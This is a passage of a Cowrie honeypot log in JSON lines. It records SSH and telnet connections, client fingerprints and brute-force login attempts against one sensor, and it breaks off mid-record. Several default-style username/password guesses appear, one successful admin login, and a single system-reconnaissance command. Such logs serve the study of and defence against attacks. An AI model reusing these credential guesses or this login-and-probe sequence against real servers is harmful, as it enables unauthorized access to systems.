{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:11.772047Z","src_ip":"45.156.87.204","session":"2f96a94f617b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:12.084682Z","src_ip":"45.156.87.204","session":"2f96a94f617b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.36195969581604,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:12.099549Z","src_ip":"152.42.224.71","session":"83ecf02b1d42","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:12.300611Z","src_ip":"45.156.87.204","session":"2f96a94f617b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:12.304541Z","src_ip":"45.156.87.204","session":"2f96a94f617b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:12.390928Z","src_ip":"45.156.87.204","session":"2f96a94f617b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:12.397224Z","src_ip":"45.156.87.204","session":"2f96a94f617b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.50736045837402,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:12.652645Z","src_ip":"152.42.224.71","session":"f66b8caaab0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57008,"dst_ip":"10.17.0.5","dst_port":23,"session":"c29d55790ff8","protocol":"telnet","message":"New connection: 152.42.224.71:57008 (10.17.0.5:23) [session: c29d55790ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:14.469563Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57846,"dst_ip":"159.203.135.109","dst_port":22,"session":"f93b87c3ed64","protocol":"ssh","message":"New connection: 45.156.87.204:57846 (159.203.135.109:22) [session: f93b87c3ed64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:15.344305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:15.349351Z","src_ip":"45.156.87.204","session":"f93b87c3ed64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:15.432734Z","src_ip":"45.156.87.204","session":"f93b87c3ed64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":32874,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce5d56f92418","protocol":"ssh","message":"New connection: 103.82.132.16:32874 (10.17.0.5:22) [session: ce5d56f92418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:15.491929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:15.500372Z","src_ip":"103.82.132.16","session":"ce5d56f92418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:15.685461Z","src_ip":"45.156.87.204","session":"f93b87c3ed64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:15.760677Z","src_ip":"103.82.132.16","session":"ce5d56f92418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfcbkbcf","message":"login attempt [root/dfcbkbcf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:16.540757Z","src_ip":"103.82.132.16","session":"ce5d56f92418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:16.819126Z","src_ip":"45.156.87.204","session":"f93b87c3ed64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57018,"dst_ip":"10.17.0.5","dst_port":23,"session":"f83def8ffcfe","protocol":"telnet","message":"New connection: 152.42.224.71:57018 (10.17.0.5:23) [session: f83def8ffcfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:17.745643Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:17.804264Z","src_ip":"103.82.132.16","session":"ce5d56f92418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57868,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cdd131aa9e3","protocol":"ssh","message":"New connection: 45.156.87.204:57868 (159.203.135.109:22) [session: 0cdd131aa9e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:19.028344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:19.169642Z","src_ip":"45.156.87.204","session":"0cdd131aa9e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:19.174939Z","src_ip":"45.156.87.204","session":"0cdd131aa9e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:19.580940Z","src_ip":"45.156.87.204","session":"0cdd131aa9e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:20.666919Z","src_ip":"45.156.87.204","session":"0cdd131aa9e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":40894,"dst_ip":"159.203.135.109","dst_port":22,"session":"701f645ac67b","protocol":"ssh","message":"New connection: 103.27.238.114:40894 (159.203.135.109:22) [session: 701f645ac67b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:21.466398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:21.470898Z","src_ip":"103.27.238.114","session":"701f645ac67b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:21.736395Z","src_ip":"103.27.238.114","session":"701f645ac67b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mustang","message":"login attempt [root/mustang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:22.535148Z","src_ip":"103.27.238.114","session":"701f645ac67b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52634,"dst_ip":"159.203.135.109","dst_port":22,"session":"953169bb2f0b","protocol":"ssh","message":"New connection: 45.156.87.204:52634 (159.203.135.109:22) [session: 953169bb2f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:22.777716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:22.782304Z","src_ip":"45.156.87.204","session":"953169bb2f0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:22.864691Z","src_ip":"45.156.87.204","session":"953169bb2f0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:23.129031Z","src_ip":"45.156.87.204","session":"953169bb2f0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38592,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a03e127d54b","protocol":"telnet","message":"New connection: 152.42.224.71:38592 (10.17.0.5:23) [session: 4a03e127d54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:23.441821Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:23.802603Z","src_ip":"103.27.238.114","session":"701f645ac67b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:24.228477Z","src_ip":"45.156.87.204","session":"953169bb2f0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52648,"dst_ip":"159.203.135.109","dst_port":22,"session":"9924f4b3c888","protocol":"ssh","message":"New connection: 45.156.87.204:52648 (159.203.135.109:22) [session: 9924f4b3c888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:26.575442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:26.639283Z","src_ip":"45.156.87.204","session":"9924f4b3c888","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:26.702492Z","src_ip":"45.156.87.204","session":"9924f4b3c888","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:27.009541Z","src_ip":"45.156.87.204","session":"9924f4b3c888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":106.20441126823425,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:27.977674Z","src_ip":"152.42.224.71","session":"cf1960004ff5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:28.091897Z","src_ip":"45.156.87.204","session":"9924f4b3c888","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42388,"dst_ip":"10.17.0.5","dst_port":23,"session":"39c7d879deda","protocol":"telnet","message":"New connection: 152.42.224.71:42388 (10.17.0.5:23) [session: 39c7d879deda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:30.235381Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52656,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad2b60c75f88","protocol":"ssh","message":"New connection: 45.156.87.204:52656 (159.203.135.109:22) [session: ad2b60c75f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:30.273137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:30.281169Z","src_ip":"45.156.87.204","session":"ad2b60c75f88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","s